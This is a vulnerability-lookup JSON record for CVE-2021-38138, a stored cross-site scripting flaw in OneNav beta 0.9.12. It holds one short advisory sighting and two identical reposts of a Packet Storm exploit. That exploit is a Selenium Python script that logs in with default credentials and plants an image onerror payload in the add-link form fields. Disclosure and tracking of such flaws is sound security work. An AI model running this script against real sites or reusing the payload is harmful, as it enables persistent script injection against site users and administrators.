{"vulnerability": "CVE-2021-38138", "sightings": [{"uuid": "0102b9fe-d192-4201-b2b8-94907b28e4d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-38138", "type": "seen", "source": "https://t.me/cibsecurity/26887", "content": "\u203c CVE-2021-38138 \u203c\n\nOneNav beta 0.9.12 allows XSS via the Add Link feature. NOTE: the vendor's position is that there intentionally is not any XSS protection at present, because the attack risk is largely limited to a compromised account; however, XSS protection is planned for a future release.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-08-05T20:31:24.000000Z"}, {"uuid": "a9c0b9d7-817a-4680-ace1-096fdbf42206", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-38138", "type": "seen", "source": "https://t.me/hacking_Attack/19572", "content": "Exploit Collector\nOneNav Beta 0.9.12 Cross Site Scripting\n\nhttps://3.bp.blogspot.com/-A9um4FlUYrw/WWlvH0fnNDI/AAAAAAAAILk/pA4dWsQKlcwBJHJ-2O0qL7e98i6zrXCWwCLcBGAs/s1600/h141.png \nOneNav Beta version 0.9.12 suffers from a persistent cross site scripting vulnerability.\n\nMD5 | 34f99bb0950d19e9ede342ffe3dfa648\n\nDownload\n# Exploit Title: XSS-Stored - Brutal PWNED on OneNav beta 0.9.12 add_link feature\n# Author: nu11secur1ty\n# Testing and Debugging: nu11secur1ty $ g3ck0dr1v3r\n# Date: 08.06.2021\n# Vendor: https://www.xiaoz.me/\n# Link: https://github.com/helloxz/onenav/releases/tag/0.9.12\n# CVE: CVE-2021-38138\n\n[+] Exploit Source:\n\n#!/usr/bin/python3\n# Author: @nu11secur1ty\n# Debug and Developement: nu11secur1ty & g3ck0dr1v3r\n# CVE-2021-38138\n\nfrom selenium import webdriver\nimport time\n#enter the link to the website you want to automate login.\nwebsite_link=\"http://192.168.1.120/index.php?c=login\"\n\n#enter your login username\nusername=\"xiaoz\"\n\n#enter your login password\npassword=\"xiaoz.me\"\n\n#enter the element for username input field\nelement_for_username=\"user\"\n#enter the element for password input field\nelement_for_password=\"password\"\n#enter the element for submit button\nelement_for_submit=\"layui-btn\"\n\nbrowser = webdriver.Chrome()\nbrowser.get((website_link))\n\ntry:\nusername_element = browser.find_element_by_name(element_for_username)\nusername_element.send_keys(username)\npassword_element  = browser.find_element_by_name(element_for_password)\npassword_element.send_keys(password)\nsignInButton = browser.find_element_by_class_name(element_for_submit)\nsignInButton.click()\n\n# Exploit PWNED HTTP Traffic is not filtered. It was a lot of fun :D\ntime.sleep(3)\nbrowser.get((\"http://192.168.1.120/index.php?c=admin&page=add_link\"))\ntime.sleep(3)\nbrowser.execute_script(\"document.querySelector('[name=\\\"url\\\"]').value = '\nhttp://192.168.1.120/index.php?c=admin&page=add_link'\")\ntime.sleep(3)\nbrowser.execute_script(\"document.querySelector('[name=\\\"title\\\"]').value =\n' \nhttps://cdn5-capriofiles.netdna-ssl.com/wp-content/uploads/2017/07/IMG_0068.gif\nonerror=alert(1) />'\")\n\n#button1\nbrowser.execute_script(\"document.querySelector('[class=\\\"layui-edge\\\"]').click()\")\ntime.sleep(1)\n\n# button2 using $ because querySelector cannot parse dd selector\nbrowser.execute_script(\"$('dd[lay-value=19]').click()\")\n\ntime.sleep(1)\nbrowser.execute_script(\"document.querySelector('[name=\\\"description\\\"]').value\n= ' \nhttps://cdn5-capriofiles.netdna-ssl.com/wp-content/uploads/2017/07/IMG_0068.gif\nonerror=alert(1) />'\")\n\n#submit button3\nbrowser.execute_script(\"document.querySelector('[class=\\\"layui-btn\\\"]').click()\")\ntime.sleep(1)\nbrowser.maximize_window()\nbrowser.get((\"http://192.168.1.120/index.php?c=admin&page=link_list\"))\n\nprint(\"payload is deployed...\\n\")\n\nexcept Exception:\n#### This exception occurs if the element are not found in the webpage.\nprint(\"Some error occured :(\")\n----------------------------------------------------------------------------------------\n\n# Reproduce:\nhttps://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-38138\n# Proof: https://streamable.com/ubtzio\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-01T20:02:29.865338Z"}, {"uuid": "5c5c223e-9713-409b-8bcc-eca711e51b1f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-38138", "type": "seen", "source": "https://t.me/hacking_Attack/19572", "content": "Exploit Collector\nOneNav Beta 0.9.12 Cross Site Scripting\n\nhttps://3.bp.blogspot.com/-A9um4FlUYrw/WWlvH0fnNDI/AAAAAAAAILk/pA4dWsQKlcwBJHJ-2O0qL7e98i6zrXCWwCLcBGAs/s1600/h141.png \nOneNav Beta version 0.9.12 suffers from a persistent cross site scripting vulnerability.\n\nMD5 | 34f99bb0950d19e9ede342ffe3dfa648\n\nDownload\n# Exploit Title: XSS-Stored - Brutal PWNED on OneNav beta 0.9.12 add_link feature\n# Author: nu11secur1ty\n# Testing and Debugging: nu11secur1ty $ g3ck0dr1v3r\n# Date: 08.06.2021\n# Vendor: https://www.xiaoz.me/\n# Link: https://github.com/helloxz/onenav/releases/tag/0.9.12\n# CVE: CVE-2021-38138\n\n[+] Exploit Source:\n\n#!/usr/bin/python3\n# Author: @nu11secur1ty\n# Debug and Developement: nu11secur1ty & g3ck0dr1v3r\n# CVE-2021-38138\n\nfrom selenium import webdriver\nimport time\n#enter the link to the website you want to automate login.\nwebsite_link=\"http://192.168.1.120/index.php?c=login\"\n\n#enter your login username\nusername=\"xiaoz\"\n\n#enter your login password\npassword=\"xiaoz.me\"\n\n#enter the element for username input field\nelement_for_username=\"user\"\n#enter the element for password input field\nelement_for_password=\"password\"\n#enter the element for submit button\nelement_for_submit=\"layui-btn\"\n\nbrowser = webdriver.Chrome()\nbrowser.get((website_link))\n\ntry:\nusername_element = browser.find_element_by_name(element_for_username)\nusername_element.send_keys(username)\npassword_element  = browser.find_element_by_name(element_for_password)\npassword_element.send_keys(password)\nsignInButton = browser.find_element_by_class_name(element_for_submit)\nsignInButton.click()\n\n# Exploit PWNED HTTP Traffic is not filtered. It was a lot of fun :D\ntime.sleep(3)\nbrowser.get((\"http://192.168.1.120/index.php?c=admin&page=add_link\"))\ntime.sleep(3)\nbrowser.execute_script(\"document.querySelector('[name=\\\"url\\\"]').value = '\nhttp://192.168.1.120/index.php?c=admin&page=add_link'\")\ntime.sleep(3)\nbrowser.execute_script(\"document.querySelector('[name=\\\"title\\\"]').value =\n' \nhttps://cdn5-capriofiles.netdna-ssl.com/wp-content/uploads/2017/07/IMG_0068.gif\nonerror=alert(1) />'\")\n\n#button1\nbrowser.execute_script(\"document.querySelector('[class=\\\"layui-edge\\\"]').click()\")\ntime.sleep(1)\n\n# button2 using $ because querySelector cannot parse dd selector\nbrowser.execute_script(\"$('dd[lay-value=19]').click()\")\n\ntime.sleep(1)\nbrowser.execute_script(\"document.querySelector('[name=\\\"description\\\"]').value\n= ' \nhttps://cdn5-capriofiles.netdna-ssl.com/wp-content/uploads/2017/07/IMG_0068.gif\nonerror=alert(1) />'\")\n\n#submit button3\nbrowser.execute_script(\"document.querySelector('[class=\\\"layui-btn\\\"]').click()\")\ntime.sleep(1)\nbrowser.maximize_window()\nbrowser.get((\"http://192.168.1.120/index.php?c=admin&page=link_list\"))\n\nprint(\"payload is deployed...\\n\")\n\nexcept Exception:\n#### This exception occurs if the element are not found in the webpage.\nprint(\"Some error occured :(\")\n----------------------------------------------------------------------------------------\n\n# Reproduce:\nhttps://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-38138\n# Proof: https://streamable.com/ubtzio\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-02T01:03:04.462896Z"}]}